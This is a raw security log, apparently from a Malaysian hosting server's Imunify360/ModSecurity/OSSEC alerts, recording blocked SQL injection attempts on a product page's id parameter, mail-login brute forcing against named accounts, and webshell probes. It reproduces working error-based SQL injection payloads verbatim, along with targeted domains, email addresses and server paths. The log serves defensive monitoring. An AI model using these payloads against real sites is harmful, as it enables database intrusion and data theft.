2026-02-02 05:27:17 dovecot_login authenticator failed for H=([127.0.0.1]) [176.193.226.167]:52744: 535 Incorrect authentication data (set_id=sixela2217@ajplantations.com.my)


plugin: modsec
rule: 77318026
name: IM360 WAF: Suspicious input like SQLi
abuser: 14.176.139.4
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Suspicious input like SQLi||MVN:ARGS:id||MV:1' and and/**/row(1777,7040)>(select/**/count(*),concat('~',(select/**/(elt(1777=1777,1))),'~',floor(rand(0)*2))x/**/from/**/(select/**/10965/**/union/**/select/**/3229/**/union/**/select/**/6172/**/union/**/select/**/2669)a/**/group/**/by/**/x)-- -||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 149.62.205.72
country_id: 732800
domain: www.aoto.com.my
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:1'and/**/row(1495,9627)>(select/**/count(*),concat('~',(select/**/(elt(1495=1495,1))),'~',floor(rand(0)*2))x/**/from/**/(select/**/2602/**/union/**/select/**/10927/**/union/**/select/**/4892/**/union/**/select/**/5464)a/**/group/**/by/**/x) and '7kactkuz' like '7kactkuz||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 05:27:12 dovecot_login authenticator failed for H=(9VigX9S5) [165.154.217.204]:50940: 535 Incorrect authentication data (set_id=prayerlink@agpc.org.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-02-02 05:27:28 dovecot_login authenticator failed for H=(b81Duaimo) [178.16.54.138]:53731: 535 Incorrect authentication data (set_id=fkr@fkr.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 05:27:34 dovecot_login authenticator failed for H=(uHZKZ3tM) [158.94.208.175]:52175: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 05:27:35 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:58510: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: modsec
rule: 77140164
name: IM360 WAF: PHP Injection Low value
abuser: 14.176.139.4
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: PHP Injection Low value||MV:1' AND AND/**/ROW(1777,7040)>(SELECT/**/COUNT(*),CONCAT('~',(SELECT/**/(ELT(1777=1777,1))),'~',FLOOR(RAND(0)*2))x/**/FROM/**/(SELECT/**/10965/**/UNION/**/SELECT/**/3229/**/UNION/**/SELECT/**/6172/**/UNION/**/SELECT/**/2669)a/**/GROUP/**/BY/**/x)-- -||MVN:ARGS:id||RSV:7.71||T:APACHE||SC:/home2/aotocom/public_html/product-detail.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-02 05:27:10 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:59122: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: modsec
rule: 77318026
name: IM360 WAF: Suspicious input like SQLi
abuser: 149.62.205.72
country_id: 732800
domain: www.aoto.com.my
description:
IM360 WAF: Suspicious input like SQLi||MVN:ARGS:id||MV:1'and/**/row(1495,9627)>(select/**/count(*),concat('~',(select/**/(elt(1495=1495,1))),'~',floor(rand(0)*2))x/**/from/**/(select/**/2602/**/union/**/select/**/10927/**/union/**/select/**/4892/**/union/**/select/**/5464)a/**/group/**/by/**/x) and '7kactkuz' like '7kactkuz||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.21.246.238
country_id: 1814991
description:
2026-02-02 05:28:09 dovecot_login authenticator failed for H=([218.21.246.238]) [218.21.246.238]:52140: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 91.73.195.150
country_id: 290557
description:
2026-02-02 05:28:10 dovecot_login authenticator failed for H=([91.73.195.150]) [91.73.195.150]:42962: 535 Incorrect authentication data (set_id=info)


plugin: modsec
rule: 77140164
name: IM360 WAF: PHP Injection Low value
abuser: 149.62.205.72
country_id: 732800
domain: www.aoto.com.my
description:
IM360 WAF: PHP Injection Low value||MV:1')/*!50000AND*/ROW(7861,7041)>(/*!50000SELECT*//*!50000COUNT*/(*),/*!50000CONCAT*/(%27~%27,(/*!50000SELECT*/(ELT(7861=7861,1))),%27~%27,FLOOR(RAND(0)*2))x/*!50000FROM*/(/*!50000SELECT*/4346/*!50000UNION*//*!50000SELECT*/4541/*!50000UNION*//*!50000SELECT*/6151/*!50000UNION*//*!50000SELECT*/4627)a/*!50000GROUP*//*!50000BY*/x) AND ('DE5ZEGZM' LIKE 'DE5ZEGZM||MVN:ARGS:id||RSV:7.71||T:APACHE||SC:/home2/aotocom/public_html/product-detail.php||


plugin: modsec
rule: 77318026
name: IM360 WAF: Suspicious input like SQLi
abuser: 149.62.205.72
country_id: 732800
domain: www.aoto.com.my
description:
IM360 WAF: Suspicious input like SQLi||MVN:ARGS:id||MV:1%'and/**/row(10717,5568)>(select/**/count(*),concat('~',(select/**/(elt(10717=10717,1))),'~',floor(rand(0)*2))x/**/from/**/(select/**/8403/**/union/**/select/**/1639/**/union/**/select/**/2829/**/union/**/select/**/10182)a/**/group/**/by/**/x) and 'zak9oa4b%'='zak9oa4b||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.61.177.2
country_id: 1814991
description:
2026-02-02 05:28:12 dovecot_login authenticator failed for H=([111.61.177.2]) [111.61.177.2]:33642: 535 Incorrect authentication data (set_id=info@euratech.com.my)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.134.212
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/residential/img/photos/images/private-residence.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 05:28:25 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:57824: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 05:28:54 dovecot_login authenticator failed for H=(bGv58zvA) [165.154.217.204]:63989: 535 Incorrect authentication data (set_id=intercessors)


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 149.62.205.72
country_id: 732800
domain: www.aoto.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:id||MV:1')/*!50000AND*/ROW(7861,7041)>(/*!50000SELECT*//*!50000COUNT*/(*),/*!50000CONCAT*/('~',(/*!50000SELECT*/(ELT(7861=7861,1))),'~',FLOOR(RAND(0)*2))x/*!50000FROM*/(/*!50000SELECT*/4346/*!50000UNION*//*!50000SELECT*/4541/*!50000UNION*//*!50000SELECT*/6151/*!50000UNION*//*!50000SELECT*/4627)a/*!50000GROUP*//*!50000BY*/x) AND ('DE5ZEGZM' LIKE 'DE5ZEGZM||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 149.62.205.72
country_id: 732800
domain: www.aoto.com.my
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:1%'and/**/row(10717,5568)>(select/**/count(*),concat('~',(select/**/(elt(10717=10717,1))),'~',floor(rand(0)*2))x/**/from/**/(select/**/8403/**/union/**/select/**/1639/**/union/**/select/**/2829/**/union/**/select/**/10182)a/**/group/**/by/**/x) and 'zak9oa4b%'='zak9oa4b||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 05:28:10 dovecot_login authenticator failed for H=(ZZIZ3X) [158.94.208.175]:57844: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-02-02 05:28:31 dovecot_login authenticator failed for H=(BFBVhX) [178.16.54.138]:52436: 535 Incorrect authentication data (set_id=fkr@fkr.com.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.179.74.22
country_id: 1562822
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=31601516002597 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-02 05:28:55 dovecot_login authenticator failed for H=(2FyJMrbwLp) [178.16.52.139]:61089: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 165.154.217.204
country_id: 1880251
description:
Feb  2 05:28:07 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account prayerlink@agpc.org.my has been locked for the attacker IP 165.154.217.204


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 05:28:09 dovecot_login authenticator failed for H=(Qg7b8ZJOx1) [165.154.217.204]:58108: 535 Incorrect authentication data (set_id=prayerlink@agpc.org.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 175.180.129.87
country_id: 1668284
description:
2026-02-02 05:28:11 dovecot_login authenticator failed for H=(175-180-129-87.adsl.dynamic.seed.net.tw) [175.180.129.87]:46944: 535 Incorrect authentication data (set_id=info)


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 149.62.205.72
country_id: 732800
domain: www.aoto.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:id||MV:1'AND/**/1826=CAST(('~'||(SELECT/**/(CASE/**/WHEN/**/(1826=1826)/**/THEN/**/1/**/ELSE/**/0/**/END))||'~')/**/AS/**/XML) AND '2LEd2l63' LIKE '2LEd2l63||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 23.132.164.130
country_id: 2635167
description:
2026-02-02 05:29:09 H=([23.132.164.130]) [23.132.164.130]:55571 F=<yly@mail.hzau.edu.cn> rejected RCPT <feedback@inter-link.edu.my>: SPF: 23.132.164.130 is not allowed to send mail from mail.hzau.edu.cn


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 05:29:11 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:50578: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 151.254.20.0
country_id: 102358
domain: www.aoto.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:REQUEST_HEADERS:Referer||MV:https://www.aoto.com.my/product-detail.php?id=1'AnD/**/3375=CAst((%27~%27||(SEleCT/**/(CasE/**/WHen/**/(3375=3375)/**/THen/**/1/**/elSe/**/0/**/eNd))||%27~%27)/**/AS/**/xML) AND 'dEJREAfh' LIKE 'dEJREAfh||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.61.176.244
country_id: 1814991
description:
2026-02-02 05:29:16 dovecot_login authenticator failed for H=([111.61.176.244]) [111.61.176.244]:48242: 535 Incorrect authentication data (set_id=info@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 87.103.126.54
country_id: 2264397
description:
2026-02-02 05:29:20 dovecot_login authenticator failed for H=54.126.103.87.rev.vodafone.pt [87.103.126.54]:1412: 535 Incorrect authentication data (set_id=info@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-02 05:29:24 dovecot_login authenticator failed for H=(0cDmKJh7) [178.16.52.139]:53178: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 149.62.205.72
country_id: 732800
domain: www.aoto.com.my
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:1'and/**/1826=cast(('~'||(select/**/(case/**/when/**/(1826=1826)/**/then/**/1/**/else/**/0/**/end))||'~')/**/as/**/xml) and '2led2l63' like '2led2l63||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.224
country_id: 1880251
domain: figofoods.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/figofoods.com.my/sites/default/files/css/css_v6c6YgSq1LEECaFvqUnhSh4xmBShB6oyn83WVFtAFMI.css?delta=0&language=en&theme=figotheme&include=eJwrriwuSc3VT0osTtVJy0zPL8lIzU3VT8_JT0rM0U0uLtZJzi9K1U8pKi1IzNErKMpPL0oFCmKozCoGABU0HCc HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 154.144.255.208
country_id: 2542007
description:
2026-02-02 05:29:54 dovecot_login authenticator failed for H=([154.144.255.208]) [154.144.255.208]:38596: 535 Incorrect authentication data (set_id=support@dsc-expat.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.172
country_id: 1880251
domain: figofoods.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/figofoods.com.my/sites/default/files/css/css_lkNqg2VhLUCequbvAScIdEVYGb1iyRNvUuz0va07B0E.css?delta=2&language=en&theme=figotheme&include=eJwrriwuSc3VT0osTtVJy0zPL8lIzU3VT8_JT0rM0U0uLtZJzi9K1U8pKi1IzNErKMpPL0oFCmKozCoGABU0HCc HTTP/1.1||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 151.254.20.0
country_id: 102358
domain: www.aoto.com.my
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:1'))and/**/10846=cast(('~'||(select/**/(case/**/when/**/(10846=10846)/**/then/**/1/**/else/**/0/**/end))||'~')/**/as/**/xml) and (('hwzt4ref' like 'hwzt4ref||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-02 05:29:21 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:33662: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 05:29:10 dovecot_login authenticator failed for H=(0jSZxtm0) [165.154.217.204]:49410: 535 Incorrect authentication data (set_id=prayerlink@agpc.org.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 165.154.217.204
country_id: 1880251
description:
Feb  2 05:29:11 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account intercessors has been locked for the attacker IP 165.154.217.204


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 05:29:21 dovecot_login authenticator failed for H=(iOaKtW) [158.94.208.175]:63201: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.216.169.12
country_id: 2328926
description:
2026-02-02 05:29:40 dovecot_login authenticator failed for H=([41.216.169.12]) [41.216.169.12]:51784: 535 Incorrect authentication data (set_id=support@dsc-expat.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.73.190.98
country_id: 1835841
description:
2026-02-02 05:30:33 dovecot_login authenticator failed for H=([61.73.190.98]) [61.73.190.98]:59801: 535 Incorrect authentication data (set_id=admin@dsc-expat.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 05:30:02 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:60592: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 14.170.103.117
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:1\" and and/**/gtid_subset(concat('~',(select/**/(elt(3087=3087,1))),'~'),3087)-- -||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-02 05:30:14 dovecot_login authenticator failed for H=(RFBH5mX) [178.16.52.139]:50709: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-02-02 05:30:24 dovecot_login authenticator failed for H=(4jmo9Z9T0) [178.16.54.138]:63448: 535 Incorrect authentication data (set_id=fkr@fkr.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 5.32.99.14
country_id: 290557
description:
2026-02-02 05:30:48 dovecot_login authenticator failed for H=([5.32.99.14]) [5.32.99.14]:34061: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 05:30:33 dovecot_login authenticator failed for H=(dUpa3mo7X) [158.94.208.175]:59145: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 154.146.238.122
country_id: 2542007
description:
2026-02-02 05:30:40 dovecot_plain authenticator failed for H=(undively) [154.146.238.122]:33304: 535 Incorrect authentication data (set_id=khairul_aa@ajplantations.com.my)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.146.179
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/wp-content/plugins/flagallery-skins/default_int/img/demos/img/img/img/contact-us.php||SC:/home2/pspolycom/public_html/wp-content||


plugin: modsec
rule: 77140164
name: IM360 WAF: PHP Injection Low value
abuser: 14.170.103.117
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: PHP Injection Low value||MV:1\" AND AND/**/ROW(3860,1984)>(SELECT/**/COUNT(*),CONCAT('~',(SELECT/**/(ELT(3860=3860,1))),'~',FLOOR(RAND(0)*2))x/**/FROM/**/(SELECT/**/2758/**/UNION/**/SELECT/**/10224/**/UNION/**/SELECT/**/9289/**/UNION/**/SELECT/**/10194)a/**/GROUP/**/BY/**/x)-- -||MVN:ARGS:id||RSV:7.71||T:APACHE||SC:/home2/aotocom/public_html/product-detail.php||


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 151.254.20.0
country_id: 102358
domain: www.aoto.com.my
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:1' and and/**/10003=utl_inaddr.get_host_name((select/**/chr(126)||'~'||(select/**/(case/**/when/**/(10003=10003)/**/then/**/1/**/else/**/0/**/end)/**/from/**/dual)||'~'||chr(126)/**/from/**/dual))-- -||RSV:7.71||T:APACHE||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 165.154.217.204
country_id: 1880251
description:
Feb  2 05:30:10 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account intercessors has been locked for the attacker IP 165.154.217.204


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 151.254.20.0
country_id: 102358
domain: www.aoto.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:REQUEST_HEADERS:Referer||MV:https://www.aoto.com.my/product-detail.php?id=1'))anD/**/7837=dBMS_UTiliTy.sqlID_to_sqLhAsh(Chr(126)||%27~%27||(SelecT/**/(caSE/**/WHen/**/(7837=7837)/**/ThEn/**/1/**/else/**/0/**/enD)/**/From/**/duaL)||%27~%27||CHr(126)) AND (('wB3LOHHh' LIKE 'wB3LOHHh||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77318026
name: IM360 WAF: Suspicious input like SQLi
abuser: 14.170.103.117
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Suspicious input like SQLi||MVN:ARGS:id||MV:1\" and and/**/row(3860,1984)>(select/**/count(*),concat('~',(select/**/(elt(3860=3860,1))),'~',floor(rand(0)*2))x/**/from/**/(select/**/2758/**/union/**/select/**/10224/**/union/**/select/**/9289/**/union/**/select/**/10194)a/**/group/**/by/**/x)-- -||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 05:30:08 dovecot_login authenticator failed for H=(u6YnerWoe) [165.154.217.204]:54862: 535 Incorrect authentication data (set_id=prayerlink@agpc.org.my)


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 14.170.103.117
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:id||MV:1\" AND AND/**/GTID_SUBSET(CONCAT('~',(SELECT/**/(ELT(3087=3087,1))),'~'),3087)-- -||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.216.169.12
country_id: 2328926
description:
2026-02-02 05:30:04 dovecot_login authenticator failed for H=([41.216.169.12]) [41.216.169.12]:60916: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 05:31:04 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:54563: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 165.154.217.204
country_id: 1880251
description:
Feb  2 05:31:09 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account intercessors has been locked for the attacker IP 165.154.217.204


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 05:31:11 dovecot_login authenticator failed for H=(6oyOOK) [165.154.217.204]:61140: 535 Incorrect authentication data (set_id=intercessors)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-02 05:31:33 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:57500: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 05:31:05 dovecot_login authenticator failed for H=(7mgZMaLW8o) [165.154.217.204]:60755: 535 Incorrect authentication data (set_id=prayerlink@agpc.org.my)


plugin: modsec
rule: 77140164
name: IM360 WAF: PHP Injection Low value
abuser: 14.170.103.117
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: PHP Injection Low value||MV:1\")AND/**/ROW(2397,5127)>(SELECT/**/COUNT(*),CONCAT('~',(SELECT/**/(ELT(2397=2397,1))),'~',FLOOR(RAND(0)*2))x/**/FROM/**/(SELECT/**/8822/**/UNION/**/SELECT/**/1131/**/UNION/**/SELECT/**/1140/**/UNION/**/SELECT/**/7767)a/**/GROUP/**/BY/**/x) AND (\"lTVS9SMB\" LIKE \"lTVS9SMB\"||MVN:ARGS:id||RSV:7.71||T:APACHE||SC:/home2/aotocom/public_html/product-detail.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-02 05:31:05 dovecot_login authenticator failed for H=(l2DzAerNs) [178.16.52.139]:63296: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 14.170.103.117
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:REQUEST_HEADERS:Referer||MV:https://www.aoto.com.my/product-detail.php?id=1\" AND /*!50000AND*/ROW(7515,10249)>(/*!50000SELECT*//*!50000COUNT*/(*),/*!50000CONCAT*/(%27~%27,(/*!50000SELECT*/(ELT(7515=7515,1))),%27~%27,FLOOR(RAND(0)*2))x/*!50000FROM*/(/*!50000SELECT*/5173/*!50000UNION*//*!50000SELECT*/4744/*!50000UNION*//*!50000SELECT*/9647/*!50000UNION*//*!50000SELECT*/2609)a/*!50000GROUP*//*!50000BY*/x)-- -||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 14.170.103.117
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:1\")and/**/row(2397,5127)>(select/**/count(*),concat('~',(select/**/(elt(2397=2397,1))),'~',floor(rand(0)*2))x/**/from/**/(select/**/8822/**/union/**/select/**/1131/**/union/**/select/**/1140/**/union/**/select/**/7767)a/**/group/**/by/**/x) and (\"ltvs9smb\" like \"ltvs9smb\"||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 05:31:06 dovecot_login authenticator failed for H=(Hd9SYU) [158.94.208.175]:64821: 535 Incorrect authentication data (set_id=munch)


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 138.97.186.17
country_id: 3469034
domain: www.aoto.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:REQUEST_HEADERS:Referer||MV:https://www.aoto.com.my/product-detail.php?id=1\" AND AND/**/1818=CAST(('~'||(SELECT/**/(CASE/**/WHEN/**/(1818=1818)/**/THEN/**/1/**/ELSE/**/0/**/END))||'~')/**/AS/**/XML)-- -||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 138.97.186.17
country_id: 3469034
domain: www.aoto.com.my
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:1\" and and/**/4413=cast((%27~%27||(select/**/(case/**/when/**/(4413=4413)/**/then/**/1/**/else/**/0/**/end))||%27~%27)/**/as/**/xml)-- -||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77318026
name: IM360 WAF: Suspicious input like SQLi
abuser: 14.170.103.117
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Suspicious input like SQLi||MVN:ARGS:id||MV:1\")and/**/row(2397,5127)>(select/**/count(*),concat('~',(select/**/(elt(2397=2397,1))),'~',floor(rand(0)*2))x/**/from/**/(select/**/8822/**/union/**/select/**/1131/**/union/**/select/**/1140/**/union/**/select/**/7767)a/**/group/**/by/**/x) and (\"ltvs9smb\" like \"ltvs9smb\"||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-02-02 05:31:21 dovecot_login authenticator failed for H=(q0W24PckM) [178.16.54.138]:61990: 535 Incorrect authentication data (set_id=fkr@fkr.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 165.154.217.204
country_id: 1880251
description:
Feb  2 05:32:05 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account intercessors has been locked for the attacker IP 165.154.217.204


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 05:32:28 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:62153: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-02 05:32:29 dovecot_login authenticator failed for H=(xNyEv5KEy) [178.16.52.139]:52719: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 138.97.186.17
country_id: 3469034
domain: www.aoto.com.my
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:1\"and/**/1803=cast((%27~%27||(select/**/(case/**/when/**/(1803=1803)/**/then/**/1/**/else/**/0/**/end))||%27~%27)/**/as/**/xml) and \"wuajawdj\" like \"wuajawdj\"||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.95.14.102
country_id: 1835841
description:
2026-02-02 05:32:29 dovecot_login authenticator failed for H=([220.95.14.102]) [220.95.14.102]:54270: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.61.176.242
country_id: 1814991
description:
2026-02-02 05:32:02 dovecot_login authenticator failed for H=([111.61.176.242]) [111.61.176.242]:56690: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
